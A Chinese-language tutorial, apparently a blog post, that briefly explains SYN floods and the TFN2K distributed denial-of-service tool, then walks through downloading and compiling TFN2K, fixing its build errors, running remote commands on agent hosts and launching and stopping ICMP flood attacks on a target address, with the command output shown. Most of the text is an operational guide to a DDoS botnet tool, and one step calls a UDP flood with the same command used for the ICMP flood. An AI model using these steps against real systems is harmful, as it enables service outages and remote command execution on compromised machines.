拒绝服务攻击简介:
拒绝服务攻击(DOS,Denial Of Service)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成的dos,可能性非常小,更多的是恶意的攻 击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,Distributed Denial Of Service),利用更多的代理集中攻击目标,其危害更大。
一、tcp syn flood
1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器,此数据包内包含客户端端口及tcp序列号等基本信息。
2.服务器(server)接收到SYN包之后,将发送一个SYN-ACK包来确认。
3.客户端在收到服务器的SYN-ACK包之后,将回送ACK至服务器,服务器如接收到此包,则TCP连接建立完成,双方可以进行通讯
问题就出在第3步,如果服务器收不到客户端的ACK包,将会等待下去,这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系统不同),如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝。
二.tfn2k 攻击原理
1.tfn2k的攻击体系
主控端---运行tfn客户端,来遥控并指定攻击目标
代理端---被植入并运行td进程的牺牲品,接受tfn的指挥,攻击的实施者.需要注意的是,一个攻击者,往往控制多台代理来完成攻击,而且其系统多为unix,linux
目标主机---被攻击的主机或网络
2.tfn2k特性
◆ 主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、 ICMP/PING、混合攻击、TARGA3等。
◆ 主控端与代理端的通讯采取单向,即主控端只向代理端发送命令,并且会采取随机的头信息,甚至虚拟的源地址信息,代理端不会逆向向主控端发送任何信息.
◆ 所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证.
◆ 利用td进程,主控端可以远程执行shell命令.
◆ td进程的名称可以在编译时更改,更便于隐藏.
◆ tfn可以编译运行于win32及linux系统的.
操作步骤:
1、下载工具包tfn2k.tgz:http://www.xfocus.net/tools/200405/697.html
2、tar zxvf tfn2k.tgz
3、cd tfn2k/src, make
如果出现如下错误提示:disc.c: 在函数‘main’中:
disc.c:24:5: 警告: 隐式声明函数‘exit’ [-Wimplicit-function-declaration]
disc.c:24:5: 警告: 隐式声明与内建函数‘exit’不兼容 [默认启用],
解决办法就是在disc.c中添加头文件,stdlib.h
如果出现如下错误提示:在函数‘open’中,
内联自‘main’于 disc.c:30:13:
/usr/include/i386-linux-gnu/bits/fcntl2.h:50:24: 错误: 调用‘__open_missing_mode’,声明有错误属性:open with O_CREAT in second argument needs 3 arguments
make: *** [disc] 错误 1
解决办法是: 修改disc.c将 close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC))改为 close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC, 0777));保存退出,重新编译。
4、 如果遇到如下错误提示:
在函数‘open’中,
内联自‘main’于 mkpass.c:87:6:
/usr/include/i386-linux-gnu/bits/fcntl2.h:50:24: 错误: 调用‘__open_missing_mode’,声明有错误属性:open with O_CREAT in second argument needs 3 arguments
make: *** [mkpass] 错误 1
修改,mkpass.c,将 fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT);改为 fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT, 0777);
如果遇到如下错误提示:ip.h:124:8: 错误: ‘struct in_addr’重定义
则修改ip.h将下面这段注释掉
/*
#ifndef in_addr
struct in_addr
{
unsigned long int s_addr;
};
#endif
*/
5、make,根据提示输入密码
6、运行成功后生成了tfn、td两个文件,建立一个文本文件,设置主控、从控、被攻击的机器的IProot@dt:/home/cos/桌面/tfn2k/src# ./tfn -f host_tfn -c 10 -i "mkdir aa"
Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification:
Sending out packets: ...
如果通信正常,那么从控机应该在src目录下面已经被建立了一个文件aa
9、在主控机上允许tfn,发起攻击:./tfn -f host_tfn -c 6 -i 192.168.2.166
即让从控机向192.168.2.166的主机发起ping 攻击
root@dt:/home/cos/桌面/tfn2k/src# ./tfn -f host_tfn -c 6 -i 192.168.2.166
Protocol : random
Source IP : random
Client input : list
Target(s) : 192.168.2.166
Command : commence icmp echo flood
Password verification:
Sending out packets: ...
另外./tfn -f host_tfn -c 6 -i 192.168.2.166即让从控机向192.168.2.166的主机发起UDP flood 攻击
10、关闭攻击:./tfn -f host_tfn -c 0
root@dt:/home/cos/桌面/tfn2k/src# ./tfn -f host_tfn -c 0
Protocol : random
Source IP : random
Client input : list
Command : stop flooding
Password verification:
Sending out packets: ..